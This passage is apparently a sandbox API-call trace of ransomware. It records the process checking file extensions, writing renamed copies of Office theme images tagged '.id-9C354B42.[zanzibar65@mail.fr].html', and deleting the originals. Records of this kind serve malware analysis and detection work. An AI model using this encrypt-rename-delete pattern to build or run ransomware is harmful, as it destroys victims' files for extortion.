lpNumberOfBytesRead=0x2ebfed4*=0x5534, lpOverlapped=0x0) returned 1 [0046.039] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5540, lpOverlapped=0x0) returned 1 [0046.040] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.040] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.040] SetEndOfFile (hFile=0x1f4) returned 1 [0046.041] CloseHandle (hObject=0x1f4) returned 1 [0046.041] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.041] SetEndOfFile (hFile=0x1e8) returned 1 [0046.042] CloseHandle (hObject=0x1e8) returned 1 [0046.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0046.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.042] lstrlenW (lpString=".doc") returned 4 [0046.042] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.042] lstrlenW (lpString=".docx") returned 5 [0046.042] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.042] lstrlenW (lpString=".pdf") returned 4 [0046.042] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.042] lstrlenW (lpString=".xls") returned 4 [0046.042] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.042] lstrlenW (lpString=".xlsx") returned 5 [0046.043] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.043] lstrlenW (lpString=".ppt") returned 4 [0046.043] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.043] lstrlenW (lpString=".zip") returned 4 [0046.043] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.043] lstrlenW (lpString=".rar") returned 4 [0046.043] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.043] lstrlenW (lpString=".bz2") returned 4 [0046.043] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.043] lstrlenW (lpString=".7z") returned 3 [0046.043] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.043] lstrlenW (lpString=".dbf") returned 4 [0046.043] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.043] lstrlenW (lpString=".1cd") returned 4 [0046.043] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.043] lstrlenW (lpString=".jpg") returned 4 [0046.043] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.043] lstrlenW (lpString=".doc") returned 4 [0046.043] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.043] lstrlenW (lpString=".docx") returned 5 [0046.043] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.043] lstrlenW (lpString=".pdf") returned 4 [0046.043] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.043] lstrlenW (lpString=".xls") returned 4 [0046.043] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.043] lstrlenW (lpString=".xlsx") returned 5 [0046.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.044] lstrlenW (lpString=".ppt") returned 4 [0046.044] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.044] lstrlenW (lpString=".zip") returned 4 [0046.044] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.044] lstrlenW (lpString=".rar") returned 4 [0046.044] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.044] lstrlenW (lpString=".bz2") returned 4 [0046.044] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.044] lstrlenW (lpString=".7z") returned 3 [0046.044] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.044] lstrlenW (lpString=".dbf") returned 4 [0046.044] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.044] lstrlenW (lpString=".1cd") returned 4 [0046.044] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.044] lstrlenW (lpString=".jpg") returned 4 [0046.044] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.044] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.044] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.374] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=33479) returned 1 [0046.374] CloseHandle (hObject=0x1f8) returned 1 [0046.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0046.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.374] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.374] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.374] GetLastError () returned 0x0 [0046.374] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x82c7, lpOverlapped=0x0) returned 1 [0046.376] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0046.378] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.378] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.378] SetEndOfFile (hFile=0x1ec) returned 1 [0046.378] CloseHandle (hObject=0x1ec) returned 1 [0046.378] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.378] SetEndOfFile (hFile=0x1f8) returned 1 [0046.379] CloseHandle (hObject=0x1f8) returned 1 [0046.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.380] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0046.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.380] lstrlenW (lpString=".doc") returned 4 [0046.380] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.380] lstrlenW (lpString=".docx") returned 5 [0046.380] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.380] lstrlenW (lpString=".pdf") returned 4 [0046.380] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.380] lstrlenW (lpString=".xls") returned 4 [0046.380] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.380] lstrlenW (lpString=".xlsx") returned 5 [0046.380] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.380] lstrlenW (lpString=".ppt") returned 4 [0046.380] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.380] lstrlenW (lpString=".zip") returned 4 [0046.380] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.380] lstrlenW (lpString=".rar") returned 4 [0046.380] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.380] lstrlenW (lpString=".bz2") returned 4 [0046.380] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.380] lstrlenW (lpString=".7z") returned 3 [0046.380] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.381] lstrlenW (lpString=".dbf") returned 4 [0046.381] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.381] lstrlenW (lpString=".1cd") returned 4 [0046.381] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.381] lstrlenW (lpString=".jpg") returned 4 [0046.381] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.381] lstrlenW (lpString=".doc") returned 4 [0046.381] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.381] lstrlenW (lpString=".docx") returned 5 [0046.381] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.381] lstrlenW (lpString=".pdf") returned 4 [0046.381] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.381] lstrlenW (lpString=".xls") returned 4 [0046.381] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.381] lstrlenW (lpString=".xlsx") returned 5 [0046.381] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.381] lstrlenW (lpString=".ppt") returned 4 [0046.381] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.381] lstrlenW (lpString=".zip") returned 4 [0046.381] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.381] lstrlenW (lpString=".rar") returned 4 [0046.381] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.381] lstrlenW (lpString=".bz2") returned 4 [0046.381] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.381] lstrlenW (lpString=".7z") returned 3 [0046.381] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.382] lstrlenW (lpString=".dbf") returned 4 [0046.382] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.382] lstrlenW (lpString=".1cd") returned 4 [0046.382] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0046.382] lstrlenW (lpString=".jpg") returned 4 [0046.382] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.382] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.382] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.382] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1675) returned 1 [0046.382] CloseHandle (hObject=0x1f8) returned 1 [0046.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0046.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.383] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.383] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.384] GetLastError () returned 0x0 [0046.384] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x68b, lpOverlapped=0x0) returned 1 [0046.386] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x690, lpOverlapped=0x0) returned 1 [0046.387] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.387] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.387] SetEndOfFile (hFile=0x1ec) returned 1 [0046.387] CloseHandle (hObject=0x1ec) returned 1 [0046.387] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.387] SetEndOfFile (hFile=0x1f8) returned 1 [0046.388] CloseHandle (hObject=0x1f8) returned 1 [0046.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0046.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.388] lstrlenW (lpString=".doc") returned 4 [0046.388] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.388] lstrlenW (lpString=".docx") returned 5 [0046.388] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.388] lstrlenW (lpString=".pdf") returned 4 [0046.388] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.388] lstrlenW (lpString=".xls") returned 4 [0046.388] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.388] lstrlenW (lpString=".xlsx") returned 5 [0046.389] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.389] lstrlenW (lpString=".ppt") returned 4 [0046.389] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.389] lstrlenW (lpString=".zip") returned 4 [0046.389] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.389] lstrlenW (lpString=".rar") returned 4 [0046.389] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.389] lstrlenW (lpString=".bz2") returned 4 [0046.389] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.389] lstrlenW (lpString=".7z") returned 3 [0046.389] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.389] lstrlenW (lpString=".dbf") returned 4 [0046.389] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.389] lstrlenW (lpString=".1cd") returned 4 [0046.389] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.389] lstrlenW (lpString=".jpg") returned 4 [0046.389] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.389] lstrlenW (lpString=".doc") returned 4 [0046.389] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.389] lstrlenW (lpString=".docx") returned 5 [0046.389] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.389] lstrlenW (lpString=".pdf") returned 4 [0046.390] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.390] lstrlenW (lpString=".xls") returned 4 [0046.390] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.390] lstrlenW (lpString=".xlsx") returned 5 [0046.390] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.390] lstrlenW (lpString=".ppt") returned 4 [0046.390] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.390] lstrlenW (lpString=".zip") returned 4 [0046.390] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.390] lstrlenW (lpString=".rar") returned 4 [0046.390] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.390] lstrlenW (lpString=".bz2") returned 4 [0046.390] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.390] lstrlenW (lpString=".7z") returned 3 [0046.390] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.390] lstrlenW (lpString=".dbf") returned 4 [0046.390] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.390] lstrlenW (lpString=".1cd") returned 4 [0046.390] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0046.390] lstrlenW (lpString=".jpg") returned 4 [0046.390] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.390] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.390] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.391] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=18380) returned 1 [0046.391] CloseHandle (hObject=0x1f8) returned 1 [0046.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0046.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.391] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.391] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.392] 